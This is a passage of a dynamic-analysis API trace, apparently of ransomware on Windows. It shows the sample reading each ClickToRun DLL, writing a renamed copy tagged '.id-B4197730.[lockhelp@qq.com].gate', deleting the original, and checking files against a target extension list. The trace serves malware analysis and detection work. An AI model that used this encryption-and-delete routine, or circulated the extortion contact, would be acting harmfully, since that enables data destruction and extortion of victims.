lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.061] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0319.061] GetLastError () returned 0x0 [0319.062] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0319.191] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0319.193] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.193] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0x112, lpOverlapped=0x0) returned 1 [0319.193] SetEndOfFile (hFile=0x368) returned 1 [0319.193] CloseHandle (hObject=0x368) returned 1 [0319.193] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.193] SetEndOfFile (hFile=0x364) returned 1 [0319.194] CloseHandle (hObject=0x364) returned 1 [0319.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.194] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1 [0319.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0319.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0319.195] lstrlenW (lpString=".doc") returned 4 [0319.195] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.195] lstrlenW (lpString=".docx") returned 5 [0319.195] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.195] lstrlenW (lpString=".pdf") returned 4 [0319.195] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.195] lstrlenW (lpString=".xls") returned 4 [0319.195] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.195] lstrlenW (lpString=".xlsx") returned 5 [0319.195] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.195] lstrlenW (lpString=".ppt") returned 4 [0319.195] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.195] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0319.195] lstrlenW (lpString=".zip") returned 4 [0319.195] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.195] lstrlenW (lpString=".rar") returned 4 [0319.196] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.196] lstrlenW (lpString=".bz2") returned 4 [0319.196] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.196] lstrlenW (lpString=".7z") returned 3 [0319.196] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0319.196] lstrlenW (lpString=".dbf") returned 4 [0319.196] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0319.196] lstrlenW (lpString=".1cd") returned 4 [0319.196] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0319.196] lstrlenW (lpString=".jpg") returned 4 [0319.196] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0319.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0319.196] lstrlenW (lpString=".doc") returned 4 [0319.196] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.196] lstrlenW (lpString=".docx") returned 5 [0319.196] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.196] lstrlenW (lpString=".pdf") returned 4 [0319.196] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.196] lstrlenW (lpString=".xls") returned 4 [0319.196] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.197] lstrlenW (lpString=".xlsx") returned 5 [0319.197] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.197] lstrlenW (lpString=".ppt") returned 4 [0319.197] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0319.197] lstrlenW (lpString=".zip") returned 4 [0319.197] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.197] lstrlenW (lpString=".rar") returned 4 [0319.197] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.197] lstrlenW (lpString=".bz2") returned 4 [0319.197] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.197] lstrlenW (lpString=".7z") returned 3 [0319.197] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0319.197] lstrlenW (lpString=".dbf") returned 4 [0319.197] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0319.197] lstrlenW (lpString=".1cd") returned 4 [0319.197] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0319.197] lstrlenW (lpString=".jpg") returned 4 [0319.197] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.197] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.198] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30 [0319.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0319.198] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=19648) returned 1 [0319.198] CloseHandle (hObject=0x364) returned 1 [0319.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0319.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0319.199] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.199] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0319.200] GetLastError () returned 0x0 [0319.200] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0319.361] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0319.424] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.424] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0x110, lpOverlapped=0x0) returned 1 [0319.425] SetEndOfFile (hFile=0x368) returned 1 [0319.425] CloseHandle (hObject=0x368) returned 1 [0319.425] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.425] SetEndOfFile (hFile=0x364) returned 1 [0319.426] CloseHandle (hObject=0x364) returned 1 [0319.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.426] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1 [0319.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0319.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0319.426] lstrlenW (lpString=".doc") returned 4 [0319.426] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.426] lstrlenW (lpString=".docx") returned 5 [0319.426] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.426] lstrlenW (lpString=".pdf") returned 4 [0319.426] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.426] lstrlenW (lpString=".xls") returned 4 [0319.426] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.426] lstrlenW (lpString=".xlsx") returned 5 [0319.426] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.426] lstrlenW (lpString=".ppt") returned 4 [0319.426] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0319.426] lstrlenW (lpString=".zip") returned 4 [0319.427] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.427] lstrlenW (lpString=".rar") returned 4 [0319.427] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.427] lstrlenW (lpString=".bz2") returned 4 [0319.427] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.427] lstrlenW (lpString=".7z") returned 3 [0319.427] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0319.427] lstrlenW (lpString=".dbf") returned 4 [0319.427] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0319.427] lstrlenW (lpString=".1cd") returned 4 [0319.427] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0319.427] lstrlenW (lpString=".jpg") returned 4 [0319.427] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0319.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0319.427] lstrlenW (lpString=".doc") returned 4 [0319.427] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.427] lstrlenW (lpString=".docx") returned 5 [0319.427] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.427] lstrlenW (lpString=".pdf") returned 4 [0319.427] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.427] lstrlenW (lpString=".xls") returned 4 [0319.427] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.427] lstrlenW (lpString=".xlsx") returned 5 [0319.427] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.427] lstrlenW (lpString=".ppt") returned 4 [0319.427] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0319.427] lstrlenW (lpString=".zip") returned 4 [0319.427] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.427] lstrlenW (lpString=".rar") returned 4 [0319.428] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.428] lstrlenW (lpString=".bz2") returned 4 [0319.428] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.428] lstrlenW (lpString=".7z") returned 3 [0319.428] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0319.428] lstrlenW (lpString=".dbf") returned 4 [0319.428] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0319.428] lstrlenW (lpString=".1cd") returned 4 [0319.428] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0319.428] lstrlenW (lpString=".jpg") returned 4 [0319.428] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.428] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.428] lstrlenW (lpString="api-ms-win-crt-process-l1-1-0.dll") returned 33 [0319.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0319.428] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=19648) returned 1 [0319.429] CloseHandle (hObject=0x364) returned 1 [0319.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20 [0319.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0319.429] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.429] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0319.429] GetLastError () returned 0x0 [0319.429] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0319.527] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0319.529] ReadFile (in: hFile=0x364, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.529] WriteFile (in: hFile=0x368, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x350fc94*=0x116, lpOverlapped=0x0) returned 1 [0319.530] SetEndOfFile (hFile=0x368) returned 1 [0319.530] CloseHandle (hObject=0x368) returned 1 [0319.530] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.530] SetEndOfFile (hFile=0x364) returned 1 [0319.531] CloseHandle (hObject=0x364) returned 1 [0319.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.531] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 1 [0319.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0319.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0319.531] lstrlenW (lpString=".doc") returned 4 [0319.531] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.531] lstrlenW (lpString=".docx") returned 5 [0319.531] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.531] lstrlenW (lpString=".pdf") returned 4 [0319.531] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.531] lstrlenW (lpString=".xls") returned 4 [0319.532] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.532] lstrlenW (lpString=".xlsx") returned 5 [0319.532] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.532] lstrlenW (lpString=".ppt") returned 4 [0319.532] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0319.532] lstrlenW (lpString=".zip") returned 4 [0319.532] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.532] lstrlenW (lpString=".rar") returned 4 [0319.532] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.532] lstrlenW (lpString=".bz2") returned 4 [0319.532] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.532] lstrlenW (lpString=".7z") returned 3 [0319.532] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0319.532] lstrlenW (lpString=".dbf") returned 4 [0319.532] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0319.532] lstrlenW (lpString=".1cd") returned 4 [0319.532] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0319.532] lstrlenW (lpString=".jpg") returned 4 [0319.532] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0319.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0319.532] lstrlenW (lpString=".doc") returned 4 [0319.532] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.532] lstrlenW (lpString=".docx") returned 5 [0319.532] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.532] lstrlenW (lpString=".pdf") returned 4 [0319.532] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.532] lstrlenW (lpString=".xls") returned 4 [0319.532] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.533] lstrlenW (lpString=".xlsx") returned 5 [0319.533] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.533] lstrlenW (lpString=".ppt") returned 4 [0319.533] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0319.533] lstrlenW (lpString=".zip") returned 4 [0319.533] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.533] lstrlenW (lpString=".rar") returned 4 [0319.533] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.533] lstrlenW (lpString=".bz2") returned 4 [0319.533] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.533] lstrlenW (lpString=".7z") returned 3 [0319.533] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0319.533] lstrlenW (lpString=".dbf") returned 4 [0319.533] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0319.533] lstrlenW (lpString=".1cd") returned 4 [0319.533] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0319.533] lstrlenW (lpString=".jpg") returned 4 [0319.533] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.533] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.533] lstrlenW (lpString="api-ms-win-crt-string-l1-1-0.dll") returned 32 [0319.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0319.534] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=24768) returned 1 [0319.534] CloseHandle (hObject=0x364) returned 1 [0319.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20 [0319.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft 